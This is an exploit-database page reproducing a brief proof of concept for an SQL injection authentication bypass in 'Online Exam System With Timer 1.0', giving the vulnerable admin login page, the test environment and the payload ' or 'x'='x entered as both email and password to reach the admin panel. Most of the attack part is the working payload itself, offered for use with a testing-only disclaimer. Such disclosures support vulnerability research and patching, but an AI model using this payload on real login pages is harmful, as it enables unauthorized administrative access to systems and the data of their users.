Advertisement






Online Exam System With Timer 1.0 SQL Injection

CVE Category Price Severity
N/A CWE-89 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2021-02-22
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020132

Below is a copy:

Online Exam System With Timer 1.0 SQL Injection
# Exploit Title: Online Exam System With Timer 1.0  - 'email' SQL injection Auth Bypass
# Date: 2021-02-18
# Exploit Author: Suresh Kumar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/13877/online-exam-timer.html
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

# This application is vulnerable to SQL injection vulnerability.
# Vulnerable Page: http://localhost/CEE/adminpanel/admin/index.php
# Payload used:

Email    => ' or 'x'='x
Password => ' or 'x'='x

# POC: Whenever we will go to the page (http://localhost/CEE/adminpanel/admin/index.php) when we inject SQL Payload then we will directly enter into the Admin Panel page.

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum